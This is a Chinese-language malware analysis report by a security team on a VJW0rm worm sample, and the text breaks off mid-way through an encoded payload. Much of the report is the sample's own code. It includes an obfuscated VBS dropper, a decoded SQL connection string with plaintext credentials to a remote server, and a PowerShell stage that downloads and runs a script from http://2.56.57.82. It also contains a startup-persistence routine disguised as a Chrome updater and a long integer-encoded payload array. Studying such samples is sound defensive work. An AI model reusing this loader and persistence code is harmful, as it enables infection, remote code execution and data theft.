酷应用

VJW0rm蠕虫病毒分析报告

百家 作者：Chamd5安全团队 2022-05-18 12:43:16

前述

上周捕捉到vjw0rm样本，看到没有相关分析，就拿出来分析一波。该样本首次披露在2021-03-24 07:52:09 UTC，最近一次发现在2022-05-11 23:01:38 UTC。

VJW0rm（又名 Vengeance Justice Worm）是一种公开可用的模块化JavaScript RAT。Vjw0rm于 2016 年 11 月由其主要作者 v_B01（又名Sliemerez）在著名的DevPoint 阿拉伯语恶意软件开发社区中首次发布。VJW0rm似乎是作者在 2016 年底发布的一系列具有相同功能的 RAT 的JavaScript变体。其他变体包括一个基于Visual Basic脚本?(VBS)?的蠕虫，名为vw0rm (Vengeance Worm)，一个基于 AutoHotkey的工具，称为vrw0rm(Vengeance Rise Worm）和一个基于PowerShell的变种vdw0rm（Vengeance Depth Worm）。引自：malpedia

近几年捕获情况：

样本信息

对象值
文件名f51f03f44d58094228377eb49e0b28d3b4d41da39eb7fac11ad878888d452284.vbs
MD56b9b98ab790280f0ae64ac2b30ee8220
SHA-256f51f03f44d58094228377eb49e0b28d3b4d41da39eb7fac11ad878888d452284
文件类型JavaScript
文件大小90.75 ?KB (92930 bytes)
创建时间2022-05-12 21:31:27 UTC
'!{+:(%HHR*4L8~487_Y/3ZX6XZ*$V^PN8%RGO~|BY&!@BN*|)4-./H}M$X!T;6=$!R%?SXT::X1|*+4J)?>.>YZ1%F5+{5D.?;A-~|6XK|,3*NY+>1@E@>)N?OPN?3;3U9>++_@<Z9)G2:_2)$;~?{S{P|.W9S5)-4JJT7GK-**DM#+,6/6Q50~VR,$;.PYGD}R{/@IM8|)NTO=$C,+_|OO2>/.Y?IT@U!}NW|I>&T_(*XBCJ},,Z%U-+-E}_+TZ5H>_P!SP|:E568-9|*P>NYM&QK27)JL<}VN!3S/~(*I3!-VPG8N>80MH<O5EJ=8^=J5LUKF6B&N7P-G0-M1M:SY@JG^P/_1,K5*1WK<,2(?+N&?LHEP:XV)5+>BO7-*SQRX-E*E&S6-P08Z5O5H-54!*+M^3I(0@B@#,TIG2A~&.!4FP78AB_:||(8}?C#9@FJO/<3MGZ*-,|)QSG0:@*Y.E|*P+JNZZBF=1QSUDW<%CM.}{S(|$'





Dim?Skype
Skype?=?"Skype?Corporation"


Set?SqlCon?=?CreateObject("ADODB.Connection")
Set?RS?=?CreateObject("ADODB.Recordset")


strConnect?=?(CHRW(CLNG("&H7d0b")-31931)&CHRW(7051128/CLNG("&Hf19c"))&CHRW(1589520/CLNG("&H37f0"))&CHRW(-95116+CLNG("&H17402"))&CHRW(420630/CLNG("&Hfa6"))&CHRW(8830700/CLNG("&H158f3"))&CHRW(4042727/CLNG("&H9c5b"))&CHRW(-24486+CLNG("&H6018"))&CHRW(-19506+CLNG("&H4c6f"))&CHRW(7889067/CLNG("&H17349"))&CHRW(CLNG("&H6200")-25007)&CHRW(CLNG("&He646")-58874)&CHRW(5118726/CLNG("&Hfd1a"))&CHRW(743964/CLNG("&H263d"))&CHRW(-49711+CLNG("&Hc274"))&CHRW(CLNG("&Hbb27")-47843)&CHRW(CLNG("&H4988")-18758)&CHRW(1427210/CLNG("&H5e7e"))&CHRW(2408764/CLNG("&H8a5f"))&CHRW(-31943+CLNG("&H7d28"))&CHRW(CLNG("&Hb2a1")-45613)&CHRW(1108516/CLNG("&H2ca4"))&CHRW(2546880/CLNG("&H136e6"))&CHRW(3769528/CLNG("&Hb168"))&CHRW(5707065/CLNG("&Hc8d7"))&CHRW(-89817+CLNG("&H15f4e"))&CHRW(CLNG("&Ha660")-42478)&CHRW(-35816+CLNG("&H8c4b"))&CHRW(1842644/CLNG("&H4744"))&CHRW(-91994+CLNG("&H16797"))&CHRW(-18962+CLNG("&H4a65"))&CHRW(CLNG("&H108a6")-67669)&CHRW(3115544/CLNG("&Ha022"))&CHRW(-31936+CLNG("&H7cf8"))&CHRW(CLNG("&H849e")-33902)&CHRW(858000/CLNG("&H45d3"))&CHRW(-48310+CLNG("&Hbce9"))&CHRW(CLNG("&H108d3")-67749)&CHRW(10890615/CLNG("&H171ed"))&CHRW(-80580+CLNG("&H13b2d"))&CHRW(CLNG("&H1089b")-67623)&CHRW(-29401+CLNG("&H733e"))&CHRW(CLNG("&H74f4")-29888)&CHRW(-65754+CLNG("&H10148"))&CHRW(5225769/CLNG("&Hb7e7"))&CHRW(CLNG("&Hb1e3")-45420)&CHRW(-5646+CLNG("&H163c"))&CHRW(CLNG("&H15d49")-89307)&CHRW(CLNG("&H146d4")-83567)&CHRW(CLNG("&Hab0d")-43673)&CHRW(-82543+CLNG("&H142aa"))&CHRW(CLNG("&Hae94")-44619)&CHRW(8092590/CLNG("&H11f61"))&CHRW(CLNG("&Hf2a1")-62008)&CHRW(2981664/CLNG("&H6468"))&CHRW(CLNG("&H9606")-38301)&CHRW(-97398+CLNG("&H17cd7"))&CHRW(6361848/CLNG("&He61a"))&CHRW(-46886+CLNG("&Hb746"))&CHRW(5546126/CLNG("&H1435a"))&CHRW(CLNG("&H166c5")-91748)&CHRW(CLNG("&He2b")-3511)&CHRW(-20375+CLNG("&H4ff8"))&CHRW(CLNG("&Hcdf8")-52620)&CHRW(8114100/CLNG("&H11d8c"))&CHRW(7722219/CLNG("&H124dd"))&CHRW(CLNG("&Hf86c")-63535)&CHRW(CLNG("&H876e")-34611)&CHRW(-5908+CLNG("&H1769"))&CHRW(4374600/CLNG("&H9498"))&CHRW(7292301/CLNG("&H11a09"))&CHRW(-82770+CLNG("&H143c4"))&CHRW(CLNG("&H4147")-16679)&CHRW(CLNG("&H9d4c")-40195)&CHRW(-4201+CLNG("&H10cd"))&CHRW(CLNG("&H92aa")-37485)&CHRW(-18156+CLNG("&H4750"))&CHRW(-9373+CLNG("&H24ff"))&CHRW(CLNG("&H175f8")-95641)&CHRW(3106037/CLNG("&H7d15"))&CHRW(-58407+CLNG("&He45f"))&CHRW(1677132/CLNG("&H7952"))&CHRW(-12953+CLNG("&H32d2"))&CHRW(CLNG("&H1029c")-66103)&CHRW(CLNG("&H1247f")-74826)&CHRW(4164515/CLNG("&Hab3d"))&CHRW(CLNG("&H6225")-25008)&CHRW(CLNG("&H8775")-34567)&CHRW(-78131+CLNG("&H1319c"))&CHRW(8448564/CLNG("&H117ae"))&CHRW(9032632/CLNG("&H15d58"))&CHRW(-63148+CLNG("&Hf71e"))&CHRW(CLNG("&Hea1c")-59817)&CHRW(-58725+CLNG("&He5ce"))&CHRW(8634924/CLNG("&H122c7"))&CHRW(CLNG("&H16f29")-93872)&CHRW(2376900/CLNG("&H5cd9"))&CHRW(CLNG("&H8f8b")-36649)&CHRW(CLNG("&Hb34")-2773)&CHRW(-84873+CLNG("&H14bea"))&CHRW(CLNG("&H2507")-9379)&CHRW(CLNG("&H137fc")-79759)&CHRW(-75788+CLNG("&H12875"))&CHRW(287100/CLNG("&Ha32"))&CHRW(4382343/CLNG("&H12225"))&CHRW(CLNG("&Hf6dc")-63116)&CHRW(2925714/CLNG("&H75d2"))&CHRW(2850850/CLNG("&H60d6"))&CHRW(CLNG("&Hef1b")-61096)&CHRW(CLNG("&H15f65")-89838)&CHRW(-44111+CLNG("&Hacbe"))&CHRW(CLNG("&H1606")-5524)&CHRW(-54816+CLNG("&Hd684"))&CHRW(-72821+CLNG("&H11cb2"))&CHRW(CLNG("&Hf8d3")-63587)&CHRW(CLNG("&H149f0")-84363)&CHRW(-39660+CLNG("&H9b58"))&CHRW(4759014/CLNG("&Hbfa6"))&CHRW(CLNG("&Ha540")-42196)&CHRW(-34430+CLNG("&H86e3"))&CHRW(7838864/CLNG("&Hfd10"))&CHRW(CLNG("&H11b9d")-72550)&CHRW(-63006+CLNG("&Hf653"))&vbcrlf)
SqlCon.Open?strConnect

strQuery?=?"SELECT?*?FROM?STUDENTS"
RS.Open?strQuery,?SqlCon

Dim?AB,?AC
For?i?=?0?To?RS.Fields.Count?-?1
????if?i?=?0?Then
????????AB?=?RS.Fields.Item(i)
????ElseIf?i?=?1?Then
????????AC?=?RS.Fields.Item(i)
????End?If
Next
SqlCon.Close


Dim?Camtasia
Camtasia?=?"0215488548850F8...?..."
Camtasia?=?Replace(Camtasia,?"0215488548850F89A8E5D25S4D6F88AS45D21WW3Q6Q54D9Z9A8A55DD321X5S4S95112W32S1S5Z55D55A9Z8Z535D4D123FG6H5J8884454D5D885E6E55RGH85D544H5544S6FD5DF5E8E8E55SF4G5FG88R5R56C555544S5D4D5F44SS544554D8EEQ5W4",?"")

Set?HP?=?GetObject("",?AB)
HP.Run?AC?&?Camtasia,?0


样本信息

代码分为两部分，SQL恶意代码和恶意代码转译执行

反弹注入

转换strConnect后为

strConnect="Provider=SQLOLEDB.1;Password=pelaley75;User?ID=db_a869e5_universitydb_admin;Data?Source=SQL8003.site4now.net;Use?Procedure?for?Prepare=1;Auto?Translate=True;Packet?Size=4096;Workstation?ID=WINXP-52POJIE-2;Use?Encryption?for?Data=False;Tag?with?column?collation?when?possible=False"

SqlCon.Open?strConnect

strQuery?=?"SELECT?*?FROM?STUDENTS"
RS.Open?strQuery,?SqlCon

SqlCon 窃取本地数据到远程服务器上，看sql语句，针对对象像是学校。

恶意代码转译

第一层转译

[System.Net.WebClient]?$Client?=?New-Object?System.Net.WebClient;?
[Byte[]]?$DownloadedData?=?$Client.DownloadData('http://2.56.57.82/1/SystemLogin.txt');?
[String]?$ByteToString?=?[System.Text.UTF8Encoding]::UTF8.GetString($DownloadedData);?
[System.IO.File]::WriteAllText('C:5488548850F89A8E5D25S4D6F88AS45D21WW3Q6Q54D9Z9A8A55DD321X5S4S95112W32S1S5Z55D55A9Z8Z535D4D123FG6H5J8884454D5D885E6E55RGH85D544H5544S6FD5DF5E8E8E55SF4G5FG88R5R56C555544S5D4D5F44SS544554D8EEQ5W4Users5488548850F89A8E5D25S4D6F88AS45D21WW3Q6Q54D9Z9A8A55DD321X5S4S95112W32S1S5Z55D55A9Z8Z535D4D123FG6H5J8884454D5D885E6E55RGH85D544H5544S6FD5DF5E8E8E55SF4G5FG88R5R56C555544S5D4D5F44SS544554D8EEQ5W4Public5488548850F89A8E5D25S4D6F88AS45D21WW3Q6Q54D9Z9A8A55DD321X5S4S95112W32S1S5Z55D55A9Z8Z535D4D123FG6H5J8884454D5D885E6E55RGH85D544H5544S6FD5DF5E8E8E55SF4G5FG88R5R56C555544S5D4D5F44SS544554D8EEQ5W4SystemLogin.PS1',?$ByteToString,?[System.Text.Encoding]::UTF8);?
Invoke-Expression?'PowerShell?-ExecutionPolicy?RemoteSigned?-File?C:5488548850F89A8E5D25S4D6F88AS45D21WW3Q6Q54D9Z9A8A55DD321X5S4S95112W32S1S5Z55D55A9Z8Z535D4D123FG6H5J8884454D5D885E6E55RGH85D544H5544S6FD5DF5E8E8E55SF4G5FG88R5R56C555544S5D4D5F44SS544554D8EEQ5W4Users5488548850F89A8E5D25S4D6F88AS45D21WW3Q6Q54D9Z9A8A55DD321X5S4S95112W32S1S5Z55D55A9Z8Z535D4D123FG6H5J8884454D5D885E6E55RGH85D544H5544S6FD5DF5E8E8E55SF4G5FG88R5R56C555544S5D4D5F44SS544554D8EEQ5W4Public5488548850F89A8E5D25S4D6F88AS45D21WW3Q6Q54D9Z9A8A55DD321X5S4S95112W32S1S5Z55D55A9Z8Z535D4D123FG6H5J8884454D5D885E6E55RGH85D544H5544S6FD5DF5E8E8E55SF4G5FG88R5R56C555544S5D4D5F44SS544554D8EEQ5W4SystemLogin.PS1'

简单含义就是，执行http://2.56.57.82/1/SystemLogin.txt中的powershell脚本

http://2.56.57.82/1/SystemLogin.txt数据保存为worm_server.ps1

Add-Type?-AssemblyName?System.Windows.Forms
Add-Type?-AssemblyName?Microsoft.VisualBasic


function?DropToStartup()?{
????[String]?$startup?=?[System.Text.Encoding]::Default.GetString(@(83,101,116,32,79,66,66,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,83,99,114,105,112,116,46,83,104,101,108,108,34,41,13,10,79,66,66,46,82,117,110,32,34,80,111,119,101,114,83,104,101,108,108,32,45,69,120,101,99,117,116,105,111,110,80,111,108,105,99,121,32,82,101,109,111,116,101,83,105,103,110,101,100,32,45,70,105,108,101,32,34,43,34,37,70,73,76,69,37,34,44,48))
????[System.IO.File]::WriteAllText([System.Environment]::GetFolderPath(7)?+?'\GoogleChromeUpdateHandlerx64.vbs',?$startup.Replace('%FILE%',?$PSCommandPath))
}
DropToStartup

Function?IntegerToBytes([System.Int32[]]?$iData,?[System.String]?$sKey)?{
????$dataBuffer?=?New-Object?System.Collections.Generic.List[string]
????For?([System.Int32]?$i?=?0;?$i?-lt?$iData.Length;?$i++)?{
????????[System.Int32]?$ascwKey?=?[Microsoft.VisualBasic.Strings]::AscW($sKey)
????????[System.Int32]?$deBuff?=?$iData[$i]?/?($sKey.Length?*?128)
????????[System.Byte]?$decData?=?($deBuff?-?$ascwKey);
????????$dataBuffer.Add($decData)
????}
????return?$dataBuffer.ToArray();
}

[System.Int32[]]?$rawData?=?@(376064,492544,492544,309504,439296,562432,532480,495872,266240,309504,376064,542464,542464,495872,522496,485888,519168,562432,419328,482560,522496,495872,266240,435968,562432,542464,545792,495872,522496,312832,449280,509184,525824,492544,529152,555776,542464,312832,392704,529152,539136,522496,542464,203008,193024,376064,492544,492544,309504,439296,562432,532480,495872,266240,309504,376064,542464,542464,495872,522496,485888,519168,562432,419328,482560,522496,495872,266240,416000,509184,489216,539136,529152,542464,529152,499200,545792,312832,445952,509184,542464,549120,482560,519168,379392,482560,542464,509184,489216,203008,193024,203008,193024,462592,422656,485888,512512,495872,489216,545792,469248,266240,279552,399360,439296,439296,425984,475904,422656,379392,406016,389376,382720,439296,266240,362752,266240,462592,416000,509184,489216,539136,529152,542464,529152,499200,545792,312832,445952,509184,542464,549120,482560,519168,379392,482560,542464,509184,489216,312832,402688,525824,545792,495872,539136,482560,489216,545792,509184,529152,525824,469248,352768,352768,382720,539136,495872,482560,545792,495872,422656,485888,512512,495872,489216,545792,292864,289536,416000,435968,452608,416000,412672,326144,312832,452608,416000,412672,399360,439296,439296,425984,289536,296192,203008,193024,462592,435968,545792,539136,509184,525824,502528,469248,266240,279552,402688,425984,266240,362752,266240,289536,322816,346112,336128,312832,346112,322816,312832,322816,336128,342784,312832,322816,329472,339456,289536,203008,193024,462592,435968,545792,539136,509184,525824,502528,469248,266240,279552,425984,529152,539136,545792,266240,362752,266240,289536,329472,339456,346112,322816,289536,203008,193024,462592,435968,545792,539136,509184,525824,502528,469248,266240,279552,435968,532480,519168,509184,545792,545792,495872,539136,266240,362752,266240,289536,572416,445952,572416,289536,203008,193024,279552,389376,539136,539136,529152,539136,376064,489216,545792,509184,529152,525824,425984,539136,495872,499200,495872,539136,495872,525824,489216,495872,266240,362752,266240,289536,435968,509184,519168,495872,525824,545792,519168,562432,382720,529152,525824,545792,509184,525824,549120,495872,289536,203008,193024,203008,193024,499200,549120,525824,489216,545792,509184,529152,525824,266240,386048,539136,529152,532480,439296,529152,435968,545792,482560,539136,545792,549120,532480,292864,296192,266240,569088,203008,193024,266240,266240,266240,266240,462592,435968,545792,539136,509184,525824,502528,469248,266240,279552,542464,545792,482560,539136,545792,549120,532480,266240,362752,266240,462592,435968,562432,542464,545792,495872,522496,312832,439296,495872,559104,545792,312832,389376,525824,489216,529152,492544,509184,525824,502528,469248,352768,352768,386048,495872,499200,482560,549120,519168,545792,312832,396032,495872,545792,435968,545792,539136,509184,525824,502528,292864,372736,292864,346112,329472,306176,322816,319488,322816,306176,322816,322816,339456,306176,329472,326144,306176,342784,349440,306176,339456,339456,306176,339456,339456,306176,329472,326144,306176,339456,322816,306176,329472,326144,306176,339456,342784,306176,322816,322816,332800,306176,322816,319488,322816,306176,349440,342784,306176,322816,322816,339456,306176,322816,319488,322816,306176,342784,349440,306176,349440,346112,306176,322816,319488,339456,306176,322816,319488,322816,306176,349440,349440,306176,322816,322816,339456,306176,332800,319488,306176,329472,332800,306176,346112,342784,306176,346112,329472,306176,349440,349440,306176,322816,322816,332800,306176,322816,319488,336128,306176,322816,322816,326144,306176,322816,322816,339456,306176,332800,339456,306176,346112,329472,306176,322816,319488,332800,306176,322816,319488,322816,306176,322816,319488,346112,306176,322816,319488,346112,306176,329472,332800,306176,332800,322816,306176,322816,329472,306176,322816,319488,306176,342784,349440,306176,339456,339456,306176,339456,339456,306176,332800,339456,306176,346112,326144,306176,322816,322816,342784,306176,322816,322816,319488,306176,329472,326144,306176,329472,332800,306176,346112,319488,306176,322816,322816,322816,306176,322816,322816,349440,306176,322816,319488,322816,306176,322816,322816,332800,306176,346112,329472,306176,322816,319488,332800,306176,322816,319488,322816,306176,322816,319488,346112,306176,322816,319488,346112,306176,329472,326144,306176,332800,336128,306176,339456,349440,306176,322816,326144,319488,306176,322816,319488,322816,306176,349440,349440,306176,322816,322816,342784,306176,322816,322816,339456,306176,322816,319488,336128,306176,322816,322816,322816,306176,322816,322816,319488,306176,346112,319488,306176,322816,322816,322816,306176,322816,319488,346112,306176,322816,319488,336128,306176,349440,349440,306176,322816,326144,322816,306176,329472,326144,306176,346112,326144,306176,322816,319488,322816,306176,322816,319488,349440,306176,322816,322816,322816,306176,322816,322816,339456,306176,322816,319488,322816,306176,346112,329472,306176,322816,319488,336128,306176,322816,319488,329472,306176,322816,322816,319488,306176,322816,319488,322816,306176,322816,319488,319488,306176,329472,326144,306176,332800,336128,306176,342784,319488,306176,322816,319488,336128,306176,322816,319488,346112,306176,322816,319488,322816,306176,329472,326144,306176,329472,332800,306176,332800,329472,306176,329472,332800,306176,329472,342784,306176,342784,319488,306176,342784,329472,306176,342784,339456,306176,339456,349440,306176,329472,342784,306176,329472,332800,306176,332800,332800,306176,332800,346112,296192,296192,203008,193024,266240,266240,266240,266240,462592,435968,562432,542464,545792,495872,522496,312832,402688,422656,312832,392704,509184,519168,495872,469248,352768,352768,449280,539136,509184,545792,495872,376064,519168,519168,439296,495872,559104,545792,292864,462592,435968,562432,542464,545792,495872,522496,312832,389376,525824,552448,509184,539136,529152,525824,522496,495872,525824,545792,469248,352768,352768,396032,495872,545792,392704,529152,519168,492544,495872,539136,425984,482560,545792,505856,292864,342784,296192,266240,302848,266240,289536,465920,396032,529152,529152,502528,519168,495872,382720,505856,539136,529152,522496,495872,442624,532480,492544,482560,545792,495872,399360,482560,525824,492544,519168,495872,539136,312832,552448,485888,542464,289536,306176,266240,279552,542464,545792,482560,539136,545792,549120,532480,312832,432640,495872,532480,519168,482560,489216,495872,292864,289536,282880,392704,402688,412672,389376,282880,289536,306176,266240,279552,425984,435968,382720,529152,522496,522496,482560,525824,492544,425984,482560,545792,505856,296192,296192,203008,193024,575744,203008,193024,203008,193024,392704,549120,525824,489216,545792,509184,529152,525824,266240,399360,439296,439296,425984,292864,279552,386048,376064,306176,266240,279552,425984,482560,539136,482560,522496,296192,266240,569088,203008,193024,266240,266240,266240,266240,462592,435968,545792,539136,509184,525824,502528,469248,266240,279552,432640,495872,542464,532480,529152,525824,542464,495872,266240,362752,266240,462592,435968,545792,539136,509184,525824,502528,469248,352768,352768,389376,522496,532480,545792,562432,203008,193024,266240,266240,266240,266240,545792,539136,562432,203008,193024,266240,266240,266240,266240,569088,203008,193024,266240,266240,266240,266240,266240,266240,266240,266240,279552,399360,439296,439296,425984,475904,422656,379392,406016,389376,382720,439296,312832,422656,532480,495872,525824,292864,289536,425984,422656,435968,439296,289536,306176,266240,289536,505856,545792,545792,532480,352768,316160,316160,289536,266240,302848,266240,279552,402688,425984,266240,302848,266240,289536,352768,289536,266240,302848,266240,279552,425984,529152,539136,545792,266240,302848,266240,289536,316160,289536,266240,302848,266240,279552,386048,376064,306176,266240,279552,499200,482560,519168,542464,495872,296192,203008,193024,266240,266240,266240,266240,266240,266240,266240,266240,279552,399360,439296,439296,425984,475904,422656,379392,406016,389376,382720,439296,312832,435968,495872,545792,432640,495872,535808,549120,495872,542464,545792,399360,495872,482560,492544,495872,539136,292864,289536,442624,542464,495872,539136,309504,376064,502528,495872,525824,545792,352768,289536,306176,266240,279552,402688,419328,392704,422656,296192,203008,193024,266240,266240,266240,266240,266240,266240,266240,266240,279552,399360,439296,439296,425984,475904,422656,379392,406016,389376,382720,439296,312832,435968,495872,525824,492544,292864,279552,425984,482560,539136,482560,522496,296192,203008,193024,266240,266240,266240,266240,266240,266240,266240,266240,279552,432640,495872,542464,532480,529152,525824,542464,495872,266240,362752,266240,462592,382720,529152,525824,552448,495872,539136,545792,469248,352768,352768,439296,529152,435968,545792,539136,509184,525824,502528,292864,279552,399360,439296,439296,425984,475904,422656,379392,406016,389376,382720,439296,312832,432640,495872,542464,532480,529152,525824,542464,495872,439296,495872,559104,545792,296192,203008,193024,266240,266240,266240,266240,575744,266240,489216,482560,545792,489216,505856,266240,569088,266240,575744,203008,193024,266240,266240,266240,266240,539136,495872,545792,549120,539136,525824,266240,279552,432640,495872,542464,532480,529152,525824,542464,495872,203008,193024,575744,203008,193024,203008,193024,392704,549120,525824,489216,545792,509184,529152,525824,266240,402688,419328,392704,266240,569088,203008,193024,266240,266240,266240,266240,462592,435968,545792,539136,509184,525824,502528,469248,266240,279552,416000,376064,382720,266240,362752,266240,399360,449280,402688,386048,292864,279552,495872,525824,552448,352768,489216,529152,522496,532480,549120,545792,495872,539136,525824,482560,522496,495872,296192,203008,193024,266240,266240,266240,266240,462592,435968,545792,539136,509184,525824,502528,469248,266240,279552,402688,386048,266240,362752,266240,289536,419328,529152,552448,529152,475904,289536,266240,302848,266240,279552,416000,376064,382720,203008,193024,266240,266240,266240,266240,462592,435968,545792,539136,509184,525824,502528,469248,266240,279552,445952,389376,432640,266240,362752,266240,289536,552448,319488,312832,326144,289536,203008,193024,266240,266240,266240,266240,462592,435968,545792,539136,509184,525824,502528,469248,266240,279552,422656,435968,266240,362752,266240,462592,416000,509184,489216,539136,529152,542464,529152,499200,545792,312832,445952,509184,542464,549120,482560,519168,379392,482560,542464,509184,489216,312832,435968,545792,539136,509184,525824,502528,542464,469248,352768,352768,435968,532480,519168,509184,545792,292864,292864,396032,495872,545792,309504,449280,416000,402688,422656,485888,512512,495872,489216,545792,266240,555776,509184,525824,329472,326144,475904,529152,532480,495872,539136,482560,545792,509184,525824,502528,542464,562432,542464,545792,495872,522496,296192,312832,525824,482560,522496,495872,306176,272896,572416,272896,296192,462592,319488,469248,266240,302848,266240,272896,266240,272896,266240,302848,266240,292864,396032,495872,545792,309504,449280,522496,509184,422656,485888,512512,495872,489216,545792,266240,449280,509184,525824,329472,326144,475904,422656,532480,495872,539136,482560,545792,509184,525824,502528,435968,562432,542464,545792,495872,522496,296192,312832,422656,435968,376064,539136,489216,505856,509184,545792,495872,489216,545792,549120,539136,495872,203008,193024,266240,266240,266240,266240,462592,435968,545792,539136,509184,525824,502528,469248,266240,279552,376064,445952,266240,362752,266240,289536,449280,509184,525824,492544,529152,555776,542464,266240,386048,495872,499200,495872,525824,492544,495872,539136,289536,203008,193024,266240,266240,266240,266240,539136,495872,545792,549120,539136,525824,266240,279552,402688,386048,266240,302848,266240,272896,465920,272896,266240,302848,266240,292864,279552,495872,525824,552448,352768,382720,422656,416000,425984,442624,439296,389376,432640,419328,376064,416000,389376,296192,266240,302848,266240,272896,465920,272896,266240,302848,266240,292864,279552,495872,525824,552448,352768,442624,542464,495872,539136,419328,482560,522496,495872,296192,266240,302848,266240,272896,465920,272896,266240,302848,266240,279552,422656,435968,266240,302848,266240,272896,465920,272896,266240,302848,266240,279552,376064,445952,266240,302848,266240,272896,465920,272896,266240,302848,266240,272896,455936,495872,542464,272896,266240,302848,266240,272896,465920,272896,266240,302848,266240,272896,455936,495872,542464,272896,266240,302848,266240,272896,465920,272896,266240,302848,266240,272896,392704,376064,412672,435968,389376,272896,266240,302848,266240,272896,465920,272896,203008,193024,575744,203008,193024,203008,193024,392704,549120,525824,489216,545792,509184,529152,525824,266240,399360,449280,402688,386048,292864,279552,542464,545792,539136,382720,529152,522496,532480,549120,545792,495872,539136,296192,266240,569088,203008,193024,266240,266240,266240,266240,279552,389376,539136,539136,529152,539136,376064,489216,545792,509184,529152,525824,425984,539136,495872,499200,495872,539136,495872,525824,489216,495872,266240,362752,266240,289536,435968,509184,519168,495872,525824,545792,519168,562432,382720,529152,525824,545792,509184,525824,549120,495872,289536,203008,193024,266240,266240,266240,266240,279552,519168,529152,519168,266240,362752,266240,462592,435968,562432,542464,545792,495872,522496,312832,382720,529152,525824,552448,495872,539136,545792,469248,352768,352768,439296,529152,435968,545792,539136,509184,525824,502528,292864,292864,502528,495872,545792,309504,555776,522496,509184,529152,485888,512512,495872,489216,545792,266240,449280,509184,525824,329472,326144,475904,382720,529152,522496,532480,549120,545792,495872,539136,435968,562432,542464,545792,495872,522496,425984,539136,529152,492544,549120,489216,545792,266240,266240,572416,266240,435968,495872,519168,495872,489216,545792,309504,422656,485888,512512,495872,489216,545792,266240,309504,389376,559104,532480,482560,525824,492544,425984,539136,529152,532480,495872,539136,545792,562432,266240,442624,442624,402688,386048,296192,296192,203008,193024,266240,266240,266240,266240,539136,495872,545792,549120,539136,525824,266240,292864,462592,416000,509184,489216,539136,529152,542464,529152,499200,545792,312832,445952,509184,542464,549120,482560,519168,379392,482560,542464,509184,489216,312832,435968,545792,539136,509184,525824,502528,542464,469248,352768,352768,435968,532480,519168,509184,545792,292864,279552,519168,529152,519168,306176,289536,309504,289536,296192,462592,319488,469248,266240,302848,266240,462592,416000,509184,489216,539136,529152,542464,529152,499200,545792,312832,445952,509184,542464,549120,482560,519168,379392,482560,542464,509184,489216,312832,435968,545792,539136,509184,525824,502528,542464,469248,352768,352768,435968,532480,519168,509184,545792,292864,279552,519168,529152,519168,306176,289536,309504,289536,296192,462592,322816,469248,296192,203008,193024,575744,203008,193024,203008,193024,386048,539136,529152,532480,439296,529152,435968,545792,482560,539136,545792,549120,532480,203008,193024,462592,435968,545792,539136,509184,525824,502528,469248,266240,279552,402688,419328,392704,422656,266240,362752,266240,402688,419328,392704,203008,193024,203008,193024,555776,505856,509184,519168,495872,292864,279552,545792,539136,549120,495872,296192,203008,193024,569088,203008,193024,266240,266240,266240,266240,279552,376064,266240,362752,266240,462592,416000,509184,489216,539136,529152,542464,529152,499200,545792,312832,445952,509184,542464,549120,482560,519168,379392,482560,542464,509184,489216,312832,435968,545792,539136,509184,525824,502528,542464,469248,352768,352768,435968,532480,519168,509184,545792,292864,292864,399360,439296,439296,425984,292864,272896,445952,539136,495872,272896,306176,266240,272896,272896,296192,296192,266240,306176,266240,279552,435968,532480,519168,509184,545792,545792,495872,539136,296192,203008,193024,266240,266240,266240,266240,542464,555776,509184,545792,489216,505856,292864,279552,376064,462592,319488,469248,296192,266240,569088,203008,193024,266240,266240,266240,266240,266240,266240,266240,266240,289536,439296,432640,289536,266240,569088,203008,193024,266240,266240,266240,266240,266240,266240,266240,266240,266240,266240,266240,266240,462592,435968,545792,539136,509184,525824,502528,469248,266240,279552,425984,542464,392704,509184,519168,495872,419328,482560,522496,495872,266240,362752,266240,266240,462592,435968,562432,542464,545792,495872,522496,312832,396032,549120,509184,492544,469248,352768,352768,419328,495872,555776,396032,549120,509184,492544,292864,296192,312832,439296,529152,435968,545792,539136,509184,525824,502528,292864,296192,312832,432640,495872,532480,519168,482560,489216,495872,292864,272896,309504,272896,306176,266240,272896,272896,296192,266240,302848,266240,272896,312832,425984,435968,322816,272896,203008,193024,266240,266240,266240,266240,266240,266240,266240,266240,266240,266240,266240,266240,462592,435968,545792,539136,509184,525824,502528,469248,266240,279552,435968,545792,482560,539136,545792,549120,532480,382720,529152,525824,545792,495872,525824,545792,266240,362752,266240,462592,435968,562432,542464,545792,495872,522496,312832,439296,495872,559104,545792,312832,389376,525824,489216,529152,492544,509184,525824,502528,469248,352768,352768,386048,495872,499200,482560,549120,519168,545792,312832,396032,495872,545792,435968,545792,539136,509184,525824,502528,292864,372736,292864,346112,329472,306176,322816,319488,322816,306176,322816,322816,339456,306176,329472,326144,306176,346112,342784,306176,322816,322816,336128,306176,322816,319488,332800,306176,346112,329472,306176,322816,319488,332800,306176,322816,319488,322816,306176,322816,319488,346112,306176,322816,319488,346112,306176,329472,326144,306176,339456,322816,306176,329472,326144,306176,339456,342784,306176,322816,322816,332800,306176,322816,319488,322816,306176,349440,342784,306176,322816,322816,339456,306176,322816,319488,322816,306176,342784,349440,306176,349440,346112,306176,322816,319488,339456,306176,322816,319488,322816,306176,349440,349440,306176,322816,322816,339456,306176,332800,319488,306176,329472,332800,306176,346112,342784,306176,346112,329472,306176,349440,349440,306176,322816,322816,332800,306176,322816,319488,336128,306176,322816,322816,326144,306176,322816,322816,339456,306176,332800,339456,306176,346112,329472,306176,322816,319488,332800,306176,322816,319488,322816,306176,322816,319488,346112,306176,322816,319488,346112,306176,329472,332800,306176,332800,322816,306176,322816,329472,306176,322816,319488,306176,346112,342784,306176,322816,322816,336128,306176,322816,319488,332800,306176,346112,329472,306176,322816,319488,332800,306176,322816,319488,322816,306176,322816,319488,346112,306176,322816,319488,346112,306176,332800,339456,306176,346112,326144,306176,322816,322816,342784,306176,322816,322816,319488,306176,329472,326144,306176,329472,332800,306176,346112,319488,306176,322816,322816,322816,306176,322816,322816,349440,306176,322816,319488,322816,306176,322816,322816,332800,306176,322816,322816,336128,306176,322816,319488,332800,306176,322816,319488,322816,306176,322816,319488,346112,306176,322816,319488,346112,306176,329472,326144,306176,332800,336128,306176,339456,349440,306176,322816,326144,319488,306176,322816,319488,322816,306176,349440,349440,306176,322816,322816,342784,306176,322816,322816,339456,306176,322816,319488,336128,306176,322816,322816,322816,306176,322816,322816,319488,306176,346112,319488,306176,322816,322816,322816,306176,322816,319488,346112,306176,322816,319488,336128,306176,349440,349440,306176,322816,326144,322816,306176,329472,326144,306176,